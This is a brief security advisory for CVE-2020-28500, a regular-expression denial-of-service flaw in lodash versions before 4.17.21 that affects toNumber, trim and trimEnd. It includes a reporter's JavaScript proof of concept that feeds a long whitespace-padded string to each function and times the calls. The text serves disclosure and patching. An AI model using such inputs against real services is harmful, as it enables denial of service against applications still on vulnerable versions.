CVE-2020-28500

Regular Expression Denial of Service (ReDoS) in lodash

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ```